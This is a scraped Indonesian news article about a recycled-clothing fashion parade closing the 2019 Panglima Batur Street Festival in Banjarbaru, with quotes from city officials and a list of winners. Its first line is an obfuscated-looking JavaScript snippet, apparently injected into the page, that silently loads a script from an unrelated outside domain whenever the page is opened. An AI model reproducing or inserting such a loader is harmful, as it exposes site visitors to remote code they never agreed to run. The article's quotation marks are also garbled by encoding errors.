(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Parade Trash Recycle Fashion menjadi pamungkas penutup event Panglima Batur Street Festival 2019, Minggu (7/4/2019).
Parade pakaian hasil daur ulang ini diikuti 35 peserta mulai anak-anak, remaja dan umum, ditambah 10 kelompok karnaval. Peserta parade dari bahan daur ulang dan rombongan karnaval berjalan dari depan Balaikota Banjarbaru menuju bundaran STM YPK Banjarbaru.
Walikota Banjarbaru H Darmawan Jaya Setiawan saat acara penutupan Panglima Batur Street Festival mengatakan, tujuan utama yang ingin dicapai kalender wisata terbaru di kota Idaman ini, ingin meningkatkan partisipasi dan peran aktif masyarakat dan pelaku usaha dalam pengelolaan lingkungan, sehingga tercipta destinasi wisata Banjarbaru yang ramah lingkungan.
“Karena itu, perlu diciptakan invosi-inovasi yang ramah lingkungan di sekitar kita. Dan kami harapkan Panglima Batur Street Festival ni dapat menginspirasi, sekaligus mengingatkan kita semua bahwa lingkungan sekitar kita memerlukan peran aktif dalam pengelolaannya, agar tidak membawa bencana dan keburukan bagi kita,†bebernya.
Contoh yang paling dekat dengan lingkungan tempat tinggal adalah masalah pengelolaan sampah. “Festival ini mencoba untuk menunjukkan dan memotivasi kita semua, bahwa sampah pun dapat bermanfaat, bahkan memiliki nilai ekonomis,†katanya.
Potensi wisata di Banjarbaru, aku Jaya, memang tidak sebesar yang dimiliki kota-kota besar seperti Jogja, Bandung, atau Bali yang kaya akan warisan sejarah dan alam, dan sudah lama dikenal orang, bahkan sampai ke mancanegara.
“Tapi kita harus berfikir lebih kreatif dan lebih inovatif untuk mengembangkan potensi-potensi wisata di daerah kita. Salah satunya adalah dengan inovasi dan kreatifitas daur ulang, sehingga sampah kembali bermanfaat, bahkan menjadi handicraft unik dan layak jual, seperti yang ditunjukkan di festival ini,†jelasnya.
“Kita harus bangga memiliki jalan Panglima Batur, diharapkan kedepannya kawasan Jalan Panglima Batur bisa menjadi “Malioboronya†Banjarbaru,†pungkasnya.
Panglima Batur Street Festival digagas Dinas Lingkungan Hidup Kota Banjarbaru yang digelar selama dua hari dari 6-7 April 2019. Diisi beragam stand, seperti bazar UMKM, hiburan dan juga Trash Recycle Fashion.
“Kedepannya diharapakan event Panglima Batur Street Festival menjadi salah satu event tahunan Kota Banjarbaru, bahkan bisa menjadi event nasional nantinya. Kita selalu bangga menjadi orang Banjarbaru,†kata Kadis Lingkungan Hidup Sirajoni.
Kepala Dinas Lingkungan Hidup Kota Banjarbaru Sirajoni berkesempatan menyerahkan hadiah Trash Recycle Fashion kepada para pemenang. Untuk kategori anak juara pertama atas nama Annya zahira Safira, kategori remaja juara 1 Farah Diba dan untuk kategori umun juara 1 diraih Wahyu Novita. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.